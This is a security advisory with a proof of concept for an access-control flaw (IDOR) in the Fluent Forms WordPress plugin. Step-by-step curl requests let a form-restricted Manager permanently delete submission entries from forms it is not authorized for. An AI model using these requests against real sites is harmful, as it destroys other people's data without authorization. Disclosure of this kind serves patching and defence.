Fluent Forms < 6.2.5 – Form Manager+ Cross-Form Submission Entry Deletion via IDOR | CVE 2026-11578

Description

The plugin does not properly restrict the deletion of form submission entries to the forms a restricted Manager is authorized to manage, allowing a Manager limited to specific forms to permanently delete submission entries belonging to other forms. This requires a non-default configuration in which an administrator has created at least one Manager restricted to specific forms.

Proof of Concept

Prerequisites (realistic admin setup):
- Fluent Forms active. Create two forms, Form A and Form B, and submit at least one entry to each (so each form has a submission entry).
- As an administrator, go to Fluent Forms > Settings > Managers and add a Manager restricted to specific forms, granting it only Form A and the "Manage Entries" permission. The Manager's underlying WordPress user can be any role (demonstrated as low as Subscriber).

Note the IDs:
- Form A id = the form the Manager IS authorized for.
- Form B entry id = a submission entry that belongs to Form B, the form the Manager is NOT authorized for.

Step 1 - as the restricted Manager, obtain a valid REST nonce legitimately:
GET /wp-admin/admin-ajax.php?action=rest-nonce   (sent with the Manager's own session cookies)

Step 2 - fire the cross-form delete: declare the AUTHORIZED form_id (Form A) but supply an entries[] id that belongs to the unauthorized Form B:
```
curl -s -b mgr_cookies.txt -X POST \
  -H 'X-WP-Nonce: <live nonce from Step 1>' \
  -H 'Accept: application/json' \
  --data-urlencode 'form_id=<Form A id>' \
  --data-urlencode 'action_type=other.delete_permanently' \
  --data-urlencode 'entries[]=<Form B entry id>' \
  https://example.com/wp-json/fluentform/v1/submissions/bulk-actions
# HTTP/1.1 200 OK
# {"message":"Selected entries successfully deleted"}
```

Step 3 - confirm the cross-form deletion. Form B's entry (and its associated meta) is permanently gone, even though the Manager has no permission over Form B (check Fluent Forms > Entries for Form B, or query wp_fluentform_submissions).

Negative control (confirms the per-form boundary is otherwise enforced): the same Manager declaring the victim form directly is blocked:
```
curl -s -b mgr_cookies.txt -X POST \
  -H 'X-WP-Nonce: <live nonce>' \
  --data-urlencode 'form_id=<Form B id>' \
  --data-urlencode 'action_type=other.delete_permanently' \
  --data-urlencode 'entries[]=<Form A entry id>' \
  https://example.com/wp-json/fluentform/v1/submissions/bulk-actions
# HTTP/1.1 403 Forbidden
# {"code":"rest_forbidden","message":"Sorry, you are not allowed to do that.","data":{"status":403}}
```
Only the entries[] smuggle under an authorized form_id bypasses the per-form restriction.